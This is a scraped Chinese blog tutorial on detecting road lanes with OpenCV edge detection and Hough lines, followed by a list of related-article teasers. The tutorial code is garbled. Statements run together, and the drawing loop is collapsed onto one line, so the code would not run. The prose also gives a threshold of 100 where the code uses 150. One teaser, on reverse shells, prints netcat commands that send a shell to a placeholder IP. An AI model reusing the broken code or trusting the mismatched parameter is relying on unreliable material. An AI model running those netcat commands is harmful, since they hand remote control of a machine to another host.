OpenCV 车道检测

OpenCV 车道检测

    • 前言
    • 模型分析
    • 车道检测
    • 相关链接

前言

如果要检测道路图像中的车道,方法之一是利用深度学习的语义分割技术。而在 OpenCV 中解决此问题可以使用边缘检测器。在本节中,我们将了解如何使用边缘检测和直线检测识别道路图像中的车道。

模型分析

使用 OpenCV 检测图像中道路边缘的策略如下:

  1. 检测图像中的对象边缘
  2. 识别遵循直线且连接的边缘
  3. 从图像的一端延伸识别出的直线至另一端

车道检测

(1) 导入库并查看示例图像:

import cv2, numpy as np
import matplotlib.pyplot as plt,cv2IMG = cv2.imread('3.jpeg')
img = np.uint8(IMG.copy())

示例图像
图像中包含许多信息,但本节中我们只需要检测直线。使用 Canny 边缘检测器可以获取图像边缘,当颜色发生剧烈变化时,Canny 检测器会将其识别为边缘,颜色变化在数学上取决于图像内像素的梯度。两个像素的差异越大,像素表示物体边缘的可能性就越高。

(2) 使用 cv2.Canny 边缘检测器获取图像中的边缘:

img = cv2.blur(img, (5,5))
edges = cv2.Canny(img,150,200)
plt.imshow(edges, cmap='gray')
plt.show()

边缘检测
在以上代码中,首先使用 cv2.blur 对原始图像进行模糊处理,以 5 x 5 的窗口为单位,计算窗口内像素值的平均值,并将中心元素替换为周围像素的像素值的平均值。使用 cv2.Canny 方法计算边缘时,值 150200 分别表示边缘所对应的最小和最大可能梯度值。如果一个像素两侧的像素差值较大,则该像素会被识别为边缘。原始图像和模糊图像的边缘如下所示:

边缘检测对比
从上图中可以看出,对原始图像进行模糊处理后,边缘会更加清晰合理。识别出边缘后,我们介绍如何使用 HoughLines 技术从图像中提取直线。

(3) 使用 cv2.HoughLines 函数识别长度至少为 100 像素的直线:

lines = cv2.HoughLines(edges,1,np.pi/180,150)

其中,参数值 100 指定识别直线的长度应至少为 100 像素。得到的每条线都包括与图像左下角的距离和相应的角度,通常用极坐标中的 [rho, theta] 表示。

(4) 绘制检测出的直线:

lines = lines[:,0,:]
for rho,theta in lines:a = np.cos(theta)b = np.sin(theta)x0 = a*rhoy0 = b*rhox1 = int(x0 + 10000*(-b))y1 = int(y0 + 10000*(a))x2 = int(x0 - 10000*(-b))y2 = int(y0 - 10000*(a))cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)plt.imshow(img)
plt.show()

直线检测结果
本节中,我们首先通过执行模糊和边缘检测从图像中滤除噪声,得到候选车道像素。然后,使用 HoughLines 进一步过滤掉小于 100 个像素的直线候选。

相关链接

OpenCV简介与图像处理基础
详解 OpenCV 轮廓检测
OpenCV轮廓检测相关应用
语义分割详解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861323.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

测试用例的基本要素与设计方法

测试用例的基本要素 测试用例(Test Case)是为了实施测试而向被测试的系统提供的一组集合,这组集合包含:测试环境、操作步骤、测试数据、预期结果等要素。 好的测试用例是一个不熟悉业务的人也能依据用例来很快的进行测试评价测试用…

RT-Thread使用HAL库实现双线程控制LED交替闪烁

如何创建工程我的其他文中你面有可以进去查看 1创建线程(以动态方式实现) 1-2创建函数入口 1-2启动函数 main.c文件源码 /** Copyright (c) 2006-2024, RT-Thread Development Team** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date …

【课程总结】Day11(下):YOLO的入门使用

前言 YOLO的简介 YOLO(You Only Look Once)是一种流行的目标检测算法,由Joseph Redmon等人于2015年提出。YOLO的设计思想是将目标检测任务转化为单个神经网络的回归问题,通过在图像上划分网格并对每个网格预测边界框和类别置信度…

【鸿蒙】鸿蒙的Stage和 FA 有什么区别

鸿蒙的Stage模型和FA(Feature Ability)模型在多个方面存在显著的区别。以下是它们之间的主要差异点: 设计思想和出发点: Stage模型:设计基于为复杂应用而开发的出发点,旨在提供一个更好的开发方式&#xff…

40.连接假死-空闲检测-发送心跳

连接假死情况 1.网络设备出现故障,例如网卡,机房等。底层的TCP连接已经断开,但应用程序没有感知到,仍然占着资源。 2.公网网络不稳定,出现丢包。若果连续出现丢包,这时现象就是客户端数据发不出去,服务端也一直收不到数据,就这么一直耗着。 3.应用程序线程阻塞,无法…

Java初识集合(后续不断补充)

第一次更新时间:2024.6.26 集合概述 Java中的集合就像一个容器,专门用来存储Java对象(实际上是对象的引用,但习惯称为对象),这些对象可以是任意的数据类型,并且长度可变。其中,这些…

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

一文了解自定义表单系统开源的多个优势

降本、提质、增效,是当前很多企业都想实现的目的。什么样的软件可以助力企业创造价值?低代码技术平台是近些年得到了很多客户喜爱的平台产品,因为它能帮助大家减少编程代码的撰写,能轻松助力各部门之间做好协调沟通工作&#xff0…

springcould-config git源情况下报错app仓库找不到

在使用spring config server服务的时候发现在启动之后的一段时间内控制台会抛出异常,spring admin监控爆红,控制台信息如下 --2024-06-26 20:38:59.615 - WARN 2944 --- [oundedElastic-7] o.s.c.c.s.e.JGitEnvironmentRepository : Error occured …

Golang中使用map时注意的问题

1. 将value定义为struct节省内存 1. 消除指针引用 当 map 的 value 是 struct 类型时,数据会直接存储在 map 中,而不是通过指针引用。这可以减少内存分配的开销和 GC(垃圾回收)的负担。 type User struct {ID intName string…

番外篇 | YOLOv8改进之利用轻量化卷积PConv引入全新的结构CSPPC来替换Neck网络中的C2f | 模型轻量化

前言:Hello大家好,我是小哥谈。本文使用轻量化卷积PConv替换Neck中C2f模块中Bottleneck里的传统卷积核得到CSPPC模块,使得模型更加轻量化。🌈 目录 🚀1.基础概念 🚀2.网络结构 🚀3.添加步骤 🚀4.改进方法 🍀🍀步骤1:block.py文件修改 🍀🍀步…

导航定位程序编译调试经验【1-20】

https://github.com/LiZhengXiao99/Navigation-Debug记录一些导航程序编译调试过程中遇到的问题,和我找到的解决方案,以后遇到啥问题了,都来记录一下;如果针对我提出的问题,您有更好的解决方案,欢迎评论分享…

MySQL 8 命令安装卸载教程

一、下载MySQL8 下载连接 MySQL :: Download MySQL Community Server 我下载的是当前最新版8.4 二、安装 1.解压 解压到需要安装的位置,例如我的位置: 2.创建配置文件 新建文本文档,复制下面配置文件(注意修改路经)…

Modbus TCP什么场景用?

什么是Modbus TCP Modbus TCP是一种基于TCP/IP网络的通信协议,它允许不同的设备通过以太网进行数据交换。Modbus协议最初是为串行通信设计的,但随着网络技术的发展,Modbus TCP应运而生,它继承了Modbus RTU和Modbus ASCII的许多优点…

平凉小果子,平凡中的惊艳味道

平凉美食小果子,这看似平凡的名字背后,藏着无数平凉人的美好回忆。它不仅仅是一种食物,更是一种情感的寄托,一种文化的传承。小果子的制作过程看似简单,实则蕴含着深厚的功夫。选用优质的面粉作为主要原料,…

Java学习笔记(多线程):CompetableFuture

本文是自己的学习笔记,主要参考资料如下 https://www.cnblogs.com/dolphin0520/p/3920407.html JavaSE文档 https://blog.csdn.net/ThinkWon/article/details/102508721 1、Overview2、重要参数3、主要方法3.1、创建实例,获取返回值3.2、线程执行顺序相关…

std::trhead的回调,中频繁发送信号,会导致qt的事件循环处理不过来吗

在Qt中,事件循环是负责处理所有事件和信号的核心机制。事件循环会不断地检查是否有待处理的事件,并且调度相应的事件处理器。在标准模板库(STL)的std::thread中使用回调函数来频繁发送信号到Qt的事件循环中,确实可能会导致性能问题,尤其是在高频率信号发送的情况下。 当…

大自然高清风景视频无水印素材在哪下载?下载视频素材网分享

在视频创作领域,一段高清的风景视频可以极大地提升你的作品质感。无论是作为背景、过渡片段还是主要内容,优质的风景视频素材都是必不可少的。然而,寻找既高清又无水印的风景视频素材并非易事。为了帮助大家轻松获取这类素材,我整…

牛客周赛 Round 48 解题报告 | 珂学家

前言 题解 这场感觉有点难,D完全没思路, EF很典,能够学到知识. E我的思路是容斥贡献,F很典,上周考过一次,引入虚拟节点质数(有点像种类并查集类似的技巧). 欢迎关注 珂朵莉 牛客周赛专栏 珂朵莉 牛客小白月赛专栏 …

Marin说PCB之total etch length规则知多少?

魔都上海最近迎来了一轮梅雨季节了,小编我上周就已经提前把被子衣服袜子都晒了一遍,省的后面一段时间下雨就不能晒了。这种阴雨绵绵的天气当然在家里睡觉最舒服了,上周留正当我在家里夏眠的时候,突然被一阵手机铃声吵醒了&#xf…